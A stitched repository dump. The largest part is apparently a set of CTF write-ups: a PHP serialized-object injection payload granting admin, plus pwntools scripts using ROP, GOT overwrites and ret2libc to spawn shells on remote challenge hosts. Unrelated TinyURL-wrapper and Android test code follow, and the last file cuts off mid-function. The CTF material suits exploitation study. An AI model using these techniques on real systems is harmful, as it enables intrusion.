a= lambda s_b, s_c, s_a, s1: len('A'*(s_b)+'*'*10*s_c+'A'*s_a+'0x539";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:1;}//AAAAAAA'+'*'*10*s1)
b= lambda s_b, s_c, s_a, s1: len('A'*(s_b)+'shit'*s_c+'A'*s_a+'0x539";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:1;}//AAAAAAA'+'shit'*s1);
print("stars :", a(s_b, s_c, s_a, s1), "A<N times><PAYLOAD>*<N times>");print("string:", b(s_b, s_c, s_a, s1), "A<N times><PAYLOAD>shit<N/4 times>");
print(a(s_b, s_c, s_a, s1)-(a(s_b, s_c, s_a, s1)-b(s_b, s_c, s_a, s1)))
# before replacing swears
cc1 = lambda s_b,s_c,s_a,s1: 'A'*(s_b)+'shit'*s_c+'A'*s_a+'0x539";}s:8:"Password";s:64:"<PASSWORD>7dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1";s:7:"IsAdmin";b:1;}//AAAAAAA'+'shit'*s1
# after replacing string
cc = lambda s_b,s_c,s_a,s1: 'A'*(s_b)+'*'*10*s_c+'A'*s_a+'0x539";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:1;}//AAAAAAA'+'*'*10*s1
# s is AAAA.. and s1 is "shit" repeated
# cc1 is the string passed
# cc is the resulted string
def try_calc(s_b, s_c, s_a, s1):
calleb(s_b, s_c, s_a, s1)
print("cc :", len(cc(s_b, s_c, s_a, s1)))
print("cc1:", len(cc1(s_b, s_c, s_a, s1)))
print("hitting:", len(re.findall("\*+", cc(s_b, s_c, s_a, s1))[1]))
print(cc(s_b, s_c, s_a, s1)[:len(cc1(s_b, s_c, s_a, s1))+1], "with additional character if it's 0x539\" right at the end then go get the flag!")
print("copy this?")
print("----- START -----")
print(cc1(s_b, s_c, s_a, s1))
print("----- END -----")
print("[+] visit:")
print("/?action=flag")
try_calc(int(sys.argv[1]), int(sys.argv[2]), int(sys.argv[2]), int(sys.argv[2]))
```
this gives the crafter payload
```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x539";}s:8:"Password";s:64:"<PASSWORD>";s:7:"IsAdmin";b:1;}//AAAAAAAshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshitshit
```
* create a new note with the payload
* visit /?action=flag
And we got the flag!
<file_sep>/hacktivity/pwn/bullseye/exploit.py
from pwn import *
_FILE = "./bullseye"
#_LIBC = "/lib/x86_64-linux-gnu/libc.so.6"
#_LIBC = "libc.so.6"
_LIBC = "libc6_2.30-0ubuntu2.1_amd64.so"
p = remote("jh2i.com", 50031)
#p = process(_FILE)
#gdb.attach(p.pid)
binary = ELF(_FILE, checksec=False)
_libc = ELF(_LIBC, checksec=False)
def format_addr(address):
return str(hex(address))[2:].rjust(16, "0")
payload = format_addr(binary.got['exit']) # "00000000004040580000000000401260"
payload += format_addr(binary.sym["main"])
log.info(f"Sending {payload}")
p.clean()
p.send(payload)
p.recvuntil("?\n")
_alarm = int(p.recvline().strip()[2:], 16)
log.success(f"Alram addr: {hex(_alarm)}")
_libc.address = _libc.address + (_alarm - _libc.sym['alarm'])
log.warn("Make sure you check the right Libc file")
log.success(f"Libc Addr: {hex(_libc.address)}")
p.clean()
payload = format_addr(binary.got['strtoull'])
payload += format_addr(_libc.sym["system"])
p.send(payload)
p.clean()
p.send("/bin/sh\x00")
p.interactive()
<file_sep>/darkCTF/roprop/exploit.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./roprop"
binary = context.binary = ELF(_FILE, checksec=False)
env = {}
_LIBC = binary.libc
if args.GDB:
p = gdb.debug(_FILE, gdbscript="\nb *0x4008fd\nc\n", env=env)
elif args.REMOTE:
p = remote("roprop.darkarmy.xyz", 5002)
_LIBC = ELF("libc6_2.27-3ubuntu1.2_amd64.so", checksec=False)
else:
p = process(_FILE, env=env)
rop = ROP(binary)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
p.clean()
payload = cyclic(88, n=8)
payload += p64(pop_rdi)
payload += p64(binary.got["gets"])
payload += p64(binary.plt["puts"])
payload += p64(binary.sym["main"])
p.sendline(payload)
gets_addr = u64(p.recvline()[:-1].ljust(8, b"\x00"))
log.info(f"Gets addr: {hex(gets_addr)}")
print("go to https://libc.blukat.me and enter above values to get the right libc")
p.clean()
#gets_offset = int(input("whats gets offset?(in hex): ").replace("0x", ""), 16)
#system = int(input("whats system offset?(in hex): ").replace("0x", ""), 16)
#bin_sh = int(input("whats str_bin_sh offset?(in hex): "), 16)
#offset = gets_addr - gets_offset
_LIBC.address = gets_addr - _LIBC.sym["gets"]
payload = cyclic(88, n=8)
if args.REMOTE:
payload += p64(_LIBC.address + 0x4f3c2)
payload += p64(pop_rdi)
payload += p64(next(_LIBC.search(b"/bin/ls\0"))) #p64(bin_sh)
payload += p64(_LIBC.sym["system"]) #p64(offset + system)
payload += p64(binary.sym["main"])
payload += b"\x00"*0x100
p.sendline(payload)
p.interactive()
try:
p.sendline("whoami")
log.success("Preparing your shell")
p.interactive()
except:
log.error("something went wrong")
<file_sep>/CSAW2020/feather/exploit.py
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode
_FILE = "./feather"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": "./libc-2.31.so"}
if args.REMOTE:
_LIBC = ELF("./libc-2.31.so")
p = remote()
elif args.GDB:
_LIBC = binary.libc
p = gdb.debug(binary.path, gdbscript="\nb 265\nb 267\nc\n")
else:
p = process(binary.path)
def get_header(seg: int):
magic = p64(0x52454854414546)
num_segments = p32(seg)
return magic + num_segments
def get_segment(t: int, i: int, o: int, l: int):
Type = p32(t)
Id = p32(i)
offset = p32(o)
length = p32(l)
return Type + Id + offset + length
def get_type_desc(name_len: bytes, num_entries: bytes):
return p32(name_len) + p32(num_entries)
## interactive functions ##
def send_feather(b: bytes):
p.recvuntil("newlines:\n")
p.sendline(b)
p.sendline()
return p.clean().decode("latin-1")
Segment_Type = {
"Directory": 0,
"File": 1,
"File_Clone": 2,
"Symlink": 3,
"Hardlink": 4,
"Label": 5,
};
seg_size = 10
header = get_header(seg_size)
segments = b""
segments += get_segment(Segment_Type['Directory'], 0x539, 8, 8)
for i in range(seg_size-1):
segments += get_segment(Segment_Type['Symlink'], i+10, 8, 8)
files = b""
files += get_type_desc(8, 8)
for j in range(seg_size-1):
files += get_type_desc(8, 8)
extra = cyclic(1000, n=8)
content = files + extra
payload = header + segments + files + content
payload = b64encode(payload)
print(send_feather(payload))
p.interactive()
<file_sep>/Poseidon/Cards/dfree.c
#include<stdio.h>
int main () {
char *a = malloc(3);
*a = 'H';
free(a);
free(a);
}
<file_sep>/darkCTF/c_maths/README.md
# c\_maths from darkCTF
Reversing the binary and retreiving secret.
## Seolving:
* Setting break point at `strcmp` :
we get:
`p1e8s3`
<file_sep>/CSAW2020/feather/xpl.py.bak
#!/usr/bin/env python3
from pwn import *
import base64
from enum import Enum
class SegmentType(Enum):
Directory = 0
File = 1
File_Clone = 2
Symlink = 3
Hardlink = 4
Label = 5
def gen_directory(namelength, numentries, name, entries):
nl = p32(namelength)
ne = p32(numentries)
directory = nl + ne + name + entries
return directory
def gen_hardlink(namelength, target, name):
nl = p32(namelength)
t = p32(target)
hardlink = nl + t + name
return hardlink
def gen_header(numsections):
magic = p64(0x52454854414546)
n = p32(numsections)
header = magic + n
return header
def gen_fileclone(namelength, target_inode, name):
nl = p32(namelength)
ti = p32(target_inode)
n = name
fileclone = nl + ti + n
return fileclone
def gen_segment(segtype, segid, offset, length):
t = p32(segtype)
i = p32(segid)
o = p32(offset)
l = p32(length)
segment = t + i + o + l
return segment
def gen_symlink(namelength, targetlength, name, target):
nl = p32(namelength)
tl = p32(targetlength)
n = name
t = target
symlink = nl + tl + n + t
return symlink
#libc = ELF('./libc-2.31.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.31.so")}
_FILE = './feather.backup'
if args.GDB:
io = gdb.debug(_FILE, gdbscript="\nc\n") #, env=env)
else:
io = process(_FILE) #, env=env)
binary = context.binary =
#input(b'attach debugger...')
header = gen_header(3)
#rootdirectory = gen_directory(0, 2, b'', p32(1) + p32(2))
rootdirectory = gen_directory(0, 1, b'', p32(2))
rootfilesegment = gen_segment(SegmentType.Directory.value, 0, 0, len(rootdirectory))
#testdirectory = gen_directory(len(b'test'), 100, b'test', b'')
testdirectory = gen_directory(len(b'test'), 0, p32(0), b'')
#offset = len(rootdirectory)
#testdirectorysegment = gen_segment(SegmentType.Directory.value, 1, 0, 0x4141414142424242)
memmovegot = p32(0x41a0f0)
testdirectorysegment = p32(SegmentType.Directory.value) + p32(1) + memmovegot + p32(0)
labelsegment = b''
labelsegment += gen_segment(SegmentType.Label.value, 1, len(rootdirectory), len(testdirectory) + len(testdirectorysegment))
hardlink = gen_fileclone(len(b'test'), 1, p32(0))
offset = len(rootdirectory) + len(testdirectory)
hardlinksegment = gen_segment(SegmentType.Hardlink.value, 2, len(rootdirectory), len(hardlink))
#symlink = gen_symlink(len(b'testlink'), len(b'/test'), b'testlink', b'/test')
#offset = len(rootdirectory) + len(testdirectory)
#symlinksegment = gen_segment(SegmentType.Symlink.value, 1, offset, len(symlink))
#fileclone = gen_fileclone(len(b'test'), 1, b'test')
#offset = len(rootdirectory) + len(testdirectory)
#fileclonesegment = gen_segment(SegmentType.File_Clone.value, 2, offset, len(fileclone))
#symlink = gen_symlink(len(b'testlink'), len(b'/test'), b'testlink', b'/test')
#offset = len(rootdirectory) + len(testdirectory)
#symlinksegment = gen_segment(SegmentType.Symlink.value, 2, offset, len(symlink))
#offset = len(rootdirectory) + len(testdirectory)
#labelsegment = gen_segment(SegmentType.Label.value, 2, offset, 1024)
#payload = header + rootfilesegment + testdirectorysegment + symlinksegment + rootdirectory + testdirectory + symlink
#payload = header + rootfilesegment + labelsegment + testdirectorysegment + rootdirectory + testdirectory
payload = header + rootfilesegment + labelsegment + hardlinksegment + rootdirectory + testdirectorysegment + testdirectory + hardlink
#payload = header + rootfilesegment + rootdirectory
b64payload = base64.b64encode(payload)
print(b64payload)
io.sendline(b64payload)
io.sendline()
io.recvuntil(b':/')
result = io.recvuntil("/")[3:-1]
print("TEST")
print(result)
memvegot = u64(result.ljust(8, b"\x00"))
log.info(f"Leak: {hex(memvegot)}")
io.interactive()
<file_sep>/hacktivity/pwn/pancakes/exploit.py
from pwn import *
_FILE = "./pancakes"
#p = process(_FILE)
p = remote("jh2i.com", 50021)
payload = cyclic(152, n=8)
payload += p64(0x40098b)
p.recvuntil("?\n")
p.sendline(payload)
p.interactive()
with open("exp", "wb") as f:
f.write(payload)
f.close()
<file_sep>/tokyo/smash/test.py
#!/usr/bin/env python3
from pwn import *
_FILE = "./smash"
binary = context.binary = ELF(_FILE, checksec=False)
env = {"LD_PRELOAD": ""} #"./libc-2.31.so"}
p = gdb.debug(_FILE, gdbscript="\nc\n", env=env)
_LIBC = ELF("./libc-2.31.so", checksec=False) if args.REMOTE else binary.libc
p.recvuntil("Input name > ")
p.sendline("sh -c sh "+"%p"*10)
leaks = p.recvuntil("OK?").decode("latin-1").replace("(nil)", "0x0").split("\n")[0].split("-c sh")[1].split("0x")[:-1][1:]
print(leaks)
main_libc_addr = int(leaks[-1], 16)
main_addr = int(leaks[6], 16)-0xd
log.success(f"on gdb run: x/gx {hex(main_libc_addr)}")
p.interactive()
<file_sep>/ropemporium/callme/exploit.py
#!/usr/python3
from pwn import cyclic, p64, process, ELF, ROP
_FILE = "./callme"
p = process(_FILE)
binary = ELF(_FILE)
rop = ROP(binary)
pop_rdi_rsi_rdx_ret = rop.find_gadget(['pop rdi', 'pop rsi', 'pop rdx', 'ret'])[0]
# passing parameters
pass_params = p64(pop_rdi_rsi_rdx_ret) + p64(0xdeadbeefdeadbeef) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
# crafting payload
payload = cyclic(40, n=8)
# calling callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_one'])
# calling callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_two'])
# calling callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
payload += pass_params
payload += p64(binary.plt['callme_three'])
print(p.recvuntil("> ").decode("latin-1"))
p.sendline(payload)
print(p.clean().decode("latin-1"))
with open("exp", "wb") as f:
f.write(payload)
f.close()
<file_sep>/hacktivity/pwn/almost/exploit.py
from pwn import *
import sys
#context.terminal = ['tmux', 'splitw', '-v']
_FILE = "./almost"
if len(sys.argv) > 1:
p = remote("jh2i.com", 50017)
else:
p = process(_FILE)
gdb.attach(p.pid)
binary = ELF(_FILE, checksec=False)
rop = ROP(binary)
__libc_start_main = binary.got["__libc_start_main"]
_getchar = binary.got["getchar"]
main = binary.sym["main"]
# resolve got plt tables
p.recvuntil(":")
p.sendline("https")
p.clean()
p.sendline("0x539.co")
p.clean()
p.sendline("contact")
p.clean()
p.sendline("y")
def leak_addr(p, got_func):
payload = b"B"*64 #618)
p.recvuntil(":")
p.sendline(payload)
payload = b"A"*64 #1236)
p.recvuntil(":")
p.sendline(payload)
p.clean()
payload = b"C"*(10)
payload += p32(binary.plt['puts'])
payload += p32(main)
payload += p32(binary.got[got_func])
payload += b"D"*(63-len(payload))
p.sendline(payload)
p.recvuntil("DDDD\n")
leak = u32(p.recvline()[:4])
log.info(f"{got_func}@plt {str(hex(leak))}")
return leak, p
def exploit(p, libc):
payload = b"F"*64 #618)
p.recvuntil(":")
p.sendline(payload)
payload = b"G"*64 #1236)
p.recvuntil(":")
p.sendline(payload)
p.clean()
payload = b"H"*(10)
payload += p32(libc.sym["system"])
payload += p32(0x10101010)
payload += p32(next(libc.search(b"/bin/sh")))
payload += b"I"*(63-len(payload))
p.sendline(payload)
p.interactive()
_libc_puts, p = leak_addr(p, "puts")
_libc_scanf, p = leak_addr(p, "__isoc99_scanf")
# using https://libc.blukat.me/
print("go get libc (using https://libc.blukat.me) and put it in the same path.")
_libc_file = input("gimme libc path: ").strip()
_libc_file = _libc_file if len(_libc_file)>0 else "libc6-i386_2.30-8_amd64.so" if len(sys.argv)<=1 else "libc6-i386_2.27-3ubuntu1.2_amd64.so"
_libc = ELF(_libc_file, checksec=False)
_libc.address = _libc.address + (_libc_scanf - _libc.sym["__isoc99_scanf"])
if (_libc_puts != _libc.sym["puts"]): exit()
log.info(f"Libc Address: {hex(_libc.address)}")
exploit(p, _libc)
<file_sep>/ropemporium/split/exploit.py
from pwn import process, p64
pop_rdi_ret = p64(0x4007c3) # pop rdi; ret instruction address
bin_cat_flag = p64(0x601060) # /bin/cat flag.txt address
_system = p64(0x40074b) # system call address
p = process("./split")
print(p.recvuntil("> ").decode("latin-1"))
payload = b"A"*40
payload += pop_rdi_ret
payload += bin_cat_flag
payload += _system
p.sendline(payload)
print(p.clean().decode("latin-1"))
| b062f69018c7aca7155001bcb479e5f16ae56528 | [
"Markdown",
"C",
"Python"
] | 43 | Python | l0x539/CTFs-writeups | c1161b3736ae265bcbedff41676f8a08c1415e48 | 11cb7dae6f28e1ed952d53a42ee52bf17231750f |
refs/heads/master | <repo_name>XinyueZ/tinyurl-wrapper<file_sep>/app/build.gradle
buildscript {
ext.kotlin_version = '1.4.21'
ext.ktor_version = '1.5.0'
ext.appengine_version = '1.9.60'
ext.appengine_plugin_version = '2.1.0'
ext.gce_logback_version = '0.117.0-alpha'
repositories {
mavenCentral()
}
dependencies {
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
classpath "com.google.cloud.tools:appengine-gradle-plugin:$appengine_plugin_version"
}
}
plugins {
id 'com.diffplug.spotless' version '5.7.0'
}
subprojects {
repositories {
maven { url 'https://oss.sonatype.org/content/repositories/snapshots' }
}
apply plugin: 'com.diffplug.spotless'
spotless {
kotlin {
target '**/*.kt'
targetExclude("$buildDir/**/*.kt")
targetExclude('bin/**/*.kt')
ktlint("0.39.0")
licenseHeaderFile rootProject.file('spotless/copyright.kt')
}
}
}
apply plugin: 'java'
apply plugin: 'kotlin'
apply plugin: 'war'
apply plugin: 'com.google.cloud.tools.appengine'
appengine.deploy.projectId = 'tinyurl-wrapper'
appengine.deploy.version = 'v2'
sourceSets {
main.kotlin.srcDirs = [ 'src/main/kotlin' ]
}
compileKotlin {
kotlinOptions.jvmTarget = "1.8"
}
compileTestKotlin {
kotlinOptions.jvmTarget = "1.8"
}
repositories {
jcenter()
}
dependencies {
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version"
implementation "com.google.cloud:google-cloud-logging-logback:$gce_logback_version"
implementation "io.ktor:ktor-gson:$ktor_version"
implementation "io.ktor:ktor-client-cio:$ktor_version"
implementation "io.ktor:ktor-client-core:$ktor_version"
implementation "io.ktor:ktor-html-builder:$ktor_version"
implementation "io.ktor:ktor-client-apache:$ktor_version"
implementation "io.ktor:ktor-server-servlet:$ktor_version"
providedCompile "com.google.appengine:appengine:$appengine_version"
}
task run(dependsOn: appengineRun)
<file_sep>/app/src/main/kotlin/io/tinyurl/models/ConvertedQuery.kt
package io.tinyurl.models
data class ConvertedQuery(
val status: Boolean,
val q: String,
val result: String,
val stored: Boolean
)
<file_sep>/README.md
Tinyurl-wrapper
=============
A wrapper for [tinyurl](http://www.tinyurl.com)
-------
- Based on GAE
- Programmed with Go
- Backend updates transformed urls for every entity regularly and automatically.
- A [jar](https://github.com/XinyueZ/tinyurl4j/tree/master/tinyurl4j/release) will be provided for different client with project [tinyurl4j](https://github.com/XinyueZ/tinyurl4j).
[LICENSE](https://github.com/XinyueZ/tinyurl-wrapper/blob/master/LICENSE)
-------
Param and Return
-------
Param:
Query |Type |Comment
--------|---------|---------
q |string |Original url which wanna be shorted.
Return:
Var |Type |Comment
---------|---------|---------
status |bool |Success request or not(false).
q |string |Original url which wanna be shorted.
result |string |The shorted url by [tinyurl](http://www.tinyurl.com).
stored |bool |True if the result is direct from our own database instead of calling [tinyurl](http://www.tinyurl.com).
Example
-------
Query:
```
https://tinyurl-wrapper.appspot.com/?q=http://www.online.sh.cn
```
Return:
```json
{
"status": true,
"q": "http://www.online.sh.cn",
"result": "http://tinyurl.com/4fwf4",
"stored": false
}
```
<file_sep>/deprecated-src/const.go
package tinyurlwrapper
const (
//command: /Users/czhao/google-cloud-sdk/platform/google_appengine/appcfg.py update src/
TINY = "http://tinyurl.com/api-create.php?url="
PARAM = "q"
API_METHOD = "GET"
API_RESTYPE = "application/json"
)
<file_sep>/deprecated-src/auto-update.go
package tinyurlwrapper
import (
"appengine"
"appengine/datastore"
"net/http"
)
//Auto-update handler.
func handleAutoUpdate(w http.ResponseWriter, r *http.Request) {
ch := make(chan []Tinyurl)
go getAll(w, r, ch)
all := <-ch
if len(all) > 0 {
update(w, r, all)
}
}
//Get all saved Tinyurls.
func getAll(w http.ResponseWriter, r *http.Request, ch chan []Tinyurl) {
defer func() {
if err := recover(); err != nil {
status(w, false, EMPTY, EMPTY, false)
cxt := appengine.NewContext(r)
cxt.Errorf("getAll: %v", err)
close(ch)
}
}()
cxt := appengine.NewContext(r)
q := datastore.NewQuery("Tinyurl").Filter("EditTime >", 0)
turls := make([]Tinyurl, 0)
if _, err := q.GetAll(cxt, &turls); err == nil {
if len(turls) > 0 {
ch <- turls
} else {
ch <- nil
}
} else {
panic(err)
}
}
//Update existings.
func update(w http.ResponseWriter, r *http.Request, tinyurls []Tinyurl) {
total := len(tinyurls)
ch := make(chan int, total)
for i := 0; i < total; i++ {
go func(index int, pturl *Tinyurl, ch chan int) {
cxt := appengine.NewContext(r)
q := datastore.NewQuery("Tinyurl").Filter("OrignalUrl=", pturl.OrignalUrl)
tinyurls := make([]Tinyurl, 0)
keys, _ := q.GetAll(cxt, &tinyurls)
build(w, r, keys[0], pturl)
ch <- i
}(i, &(tinyurls[i]), ch)
}
for i := 0; i < total; i++ {
<-ch
}
}
<file_sep>/app/src/main/kotlin/io/tinyurl/repositories/TinyUrlRepository.kt
package io.tinyurl.repositories
import io.ktor.client.HttpClient
import io.ktor.client.request.get
import io.tinyurl.models.ConvertedQuery
import kotlinx.coroutines.async
import kotlinx.coroutines.coroutineScope
interface TinyUrlRepository {
suspend fun convert(originUrl: String): ConvertedQuery
}
class TinyUrlRepositoryImpl(private val client: HttpClient) : TinyUrlRepository {
override suspend fun convert(originUrl: String) = coroutineScope {
val request =
async { client.get<ByteArray>("http://tinyurl.com/api-create.php?url=$originUrl") }
return@coroutineScope ConvertedQuery(
true,
originUrl,
String(request.await()),
false,
)
}
}<file_sep>/app/src/main/kotlin/io/tinyurl/TinyUrlApplication.kt
/*
* Copyright 2020 by <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.tinyurl
import io.ktor.application.Application
import io.ktor.application.call
import io.ktor.application.install
import io.ktor.client.HttpClient
import io.ktor.client.engine.cio.CIO
import io.ktor.features.CallLogging
import io.ktor.features.ContentNegotiation
import io.ktor.features.DefaultHeaders
import io.ktor.gson.gson
import io.ktor.http.HttpStatusCode
import io.ktor.response.respond
import io.ktor.routing.get
import io.ktor.routing.routing
import io.tinyurl.repositories.TinyUrlRepositoryImpl
import io.tinyurl.viewmodels.TinyUrlViewModel
private val String?.isUri: Boolean
get() {
return if (this.isNullOrBlank()) false
else {
val pattern =
"""^((((H|h)(T|t)|(F|f))(T|t)(P|p)((S|s)?))\://)?(.)[a-zA-Z0-9\-\.]*\.[a-zA-Z]{2,6}(\:[0-9]{1,5})*(/(${'$'}|[a-zA-Z0-9\.\,\;\?\'\\\+&%\${'$'}#\=~_\-]+))*${'$'}"""
pattern.toRegex().matches(this.trim().toLowerCase())
}
}
fun Application.main() {
install(DefaultHeaders)
install(CallLogging)
install(ContentNegotiation) {
gson {
this.setPrettyPrinting()
}
}
val vm = TinyUrlViewModel(TinyUrlRepositoryImpl(HttpClient(CIO)))
routing {
get("/") {
if (call.request.queryParameters.isEmpty() || !call.request.queryParameters["q"].isUri) {
call.respond(HttpStatusCode.NoContent)
} else {
call.respond(
HttpStatusCode.OK,
vm.convert(call.request.queryParameters["q"]!!.trim().toLowerCase()),
)
}
}
}
}<file_sep>/app/src/main/kotlin/io/tinyurl/viewmodels/TinyUrlViewModel.kt
package io.tinyurl.viewmodels
import io.tinyurl.models.ConvertedQuery
import io.tinyurl.repositories.TinyUrlRepository
class TinyUrlViewModel(private val tinyUrlRepository: TinyUrlRepository) {
suspend fun convert(originUrl: String): ConvertedQuery {
return tinyUrlRepository.convert(originUrl)
}
}<file_sep>/deprecated-src/index.go
package tinyurlwrapper
import (
"appengine"
"appengine/datastore"
"appengine/urlfetch"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strconv"
"time"
)
const EMPTY = ""
//Domain class for database.
type Tinyurl struct {
OrignalUrl string
Tinyurl string
EditTime int64
}
func init() {
http.HandleFunc("/", handleMain)
http.HandleFunc("/auto-update", handleAutoUpdate)
}
//Main handler.
func handleMain(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
status(w, false, EMPTY, EMPTY, false)
cxt := appengine.NewContext(r)
w.Header().Set("Content-Type", API_RESTYPE)
cxt.Errorf("handleMain: %v", err)
}
}()
pturl := new(Tinyurl)
//Get original url.
args := r.URL.Query()
pturl.OrignalUrl = args[PARAM][0]
//To find a existing one.
xh := make(chan *Tinyurl)
go find(w, r, pturl.OrignalUrl, xh)
savedTinyurl := <-xh
if savedTinyurl == nil {
build(w, r, nil, pturl)
} else {
status(w, true, savedTinyurl.OrignalUrl, savedTinyurl.Tinyurl, true)
}
}
//Build a Tinyurl completely.
func build(w http.ResponseWriter, r *http.Request, pkey *datastore.Key, pturl *Tinyurl) {
defer func() {
if err := recover(); err != nil {
status(w, false, EMPTY, EMPTY, false)
cxt := appengine.NewContext(r)
w.Header().Set("Content-Type", API_RESTYPE)
cxt.Errorf("build: %v", err)
}
}()
//Transform to tinyurl.
ch := make(chan string)
go getTinyUrl(w, r, pturl.OrignalUrl, ch)
pturl.Tinyurl = <-ch
//Save in DB.
if editTime, err := strconv.ParseInt(time.Now().Local().Format("20060102150405"), 10, 64); err == nil {
pturl.EditTime = editTime
sh := make(chan bool)
go save(w, r, pkey, pturl, sh)
if <-sh {
status(w, true, pturl.OrignalUrl, pturl.Tinyurl, false)
} else {
panic(err)
}
}
}
//Transform an orignalUrl to Tinyurl.
func getTinyUrl(w http.ResponseWriter, r *http.Request, orignalUrl string, ch chan string) {
cxt := appengine.NewContext(r)
defer func() {
if err := recover(); err != nil {
cxt.Errorf("getTinyUrl error but give channel emptry to complete.: %v", err)
ch <- EMPTY
}
}()
tingUrl := EMPTY
if orignalUrl != EMPTY {
rep, _ := url.Parse(orignalUrl)
adr := fmt.Sprintf("%s%s", TINY, rep)
if req, err := http.NewRequest(API_METHOD, adr, nil); err == nil {
httpClient := urlfetch.Client(cxt)
res, err := httpClient.Do(req)
if res != nil {
defer res.Body.Close()
}
if err == nil {
if bytes, err := ioutil.ReadAll(res.Body); err == nil {
tingUrl = string(bytes)
ch <- tingUrl
} else {
panic(err)
}
} else {
panic(err)
}
} else {
panic(err)
}
} else {
ch <- EMPTY
}
}
//Save a Tinyurl in database. When pkey nil then to add new.
func save(w http.ResponseWriter, r *http.Request, pkey *datastore.Key, tinyurl *Tinyurl, ch chan bool) {
cxt := appengine.NewContext(r)
defer func() {
if err := recover(); err != nil {
cxt.Errorf("save error but still give channel a true.: %v", err)
ch<-true
}
}()
//Save in db.
if pkey == nil { //Add
if _, err := datastore.Put(cxt, datastore.NewIncompleteKey(cxt, "Tinyurl", nil), tinyurl); err == nil {
ch <- true
} else {
panic(err)
}
} else { //Update
if _, err := datastore.Put(cxt, pkey, tinyurl); err == nil {
ch <- true
} else {
panic(err)
}
}
}
//To find an existing url that has been transformed by tinyurl before.
//A validate Tinyurl returns back through ch, otherwise a nil.
func find(w http.ResponseWriter, r *http.Request, url string, ch chan *Tinyurl) {
cxt := appengine.NewContext(r)
defer func() {
if err := recover(); err != nil {
cxt.Errorf("find error but still give channel a nil to complete method.: %v", err)
ch <- nil
}
}()
q := datastore.NewQuery("Tinyurl").Filter("OrignalUrl =", url)
turls := make([]Tinyurl, 0)
if _, err := q.GetAll(cxt, &turls); err == nil {
if len(turls) > 0 {
ch <- &turls[0]
} else {
ch <- nil
}
} else {
panic(err)
}
}
//Response json to browser.
func status(w http.ResponseWriter, ok bool, q string, res string, stored bool) {
s := fmt.Sprintf(`{"status":%s, "q":"%s", "result":"%s", "stored":%s }`,
strconv.FormatBool(ok),
q,
res,
strconv.FormatBool(stored))
w.Header().Set("Content-Type", API_RESTYPE)
fmt.Fprintf(w, s)
}
| 6bd50215d4ff903b0c0c73a60458a7717acd3b3f | [
"Markdown",
"Go",
"Kotlin",
"Gradle"
] | 9 | Gradle | XinyueZ/tinyurl-wrapper | 2c5cbf50f3b739e7d266945821fc68c87b6c7bd5 | 90689deba463e9d133838c3d97c487aecb64a1bc |
refs/heads/master | <file_sep>var express = require('express');
var UserData = require('./userData');
var router = express.Router();
router.get('/retrieve', (req, res) => {
// console.log("this is a get");
UserData.retrieveAll((err, data) => {
if (err)
return res.json(err);
return res.json(data);
});
});
router.post('/submit', (req, res) => {
var data = JSON.stringify(req.body);
// console.log("request body: ", data);
UserData.insert(data, (err, result) => {
if (err)
return res.json(err);
return res.json(result);
});
});
module.exports = router; | e0372ef27964f32aed4f292620a28c0817d0f97a | [
"JavaScript"
] | 1 | JavaScript | silasechegini/my-portfolio | cb3842bccf9b4e453d6207be03b3becda998aacd | 8d85505513ba38055dfb718a14d1989ecc87fb91 |
refs/heads/master | <file_sep>[](https://jitpack.io/#fgoncalves/android-utils)
# android-utils
Common things I use in my android projects
<file_sep>package com.github.fgoncalves.testrules
import io.reactivex.Scheduler
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.schedulers.Schedulers
import org.assertj.core.api.Assertions.assertThat
import org.junit.Test
import org.junit.runners.model.Statement
@Suppress("IllegalIdentifier")
class TrampolineSchedulerRuleTest {
private val rule = TrampolineSchedulerRule()
@Test
fun `applying the rule should change all schedulers to trampoline during test`() {
rule.apply(object : Statement() {
override fun evaluate() {
Schedulers.computation() shouldBe Schedulers.trampoline()
Schedulers.io() shouldBe Schedulers.trampoline()
Schedulers.newThread() shouldBe Schedulers.trampoline()
Schedulers.single() shouldBe Schedulers.trampoline()
}
}, null).evaluate()
Schedulers.computation() shouldNotBe Schedulers.trampoline()
Schedulers.io() shouldNotBe Schedulers.trampoline()
Schedulers.newThread() shouldNotBe Schedulers.trampoline()
Schedulers.single() shouldNotBe Schedulers.trampoline()
}
private infix fun Scheduler.shouldBe(expected: Scheduler) {
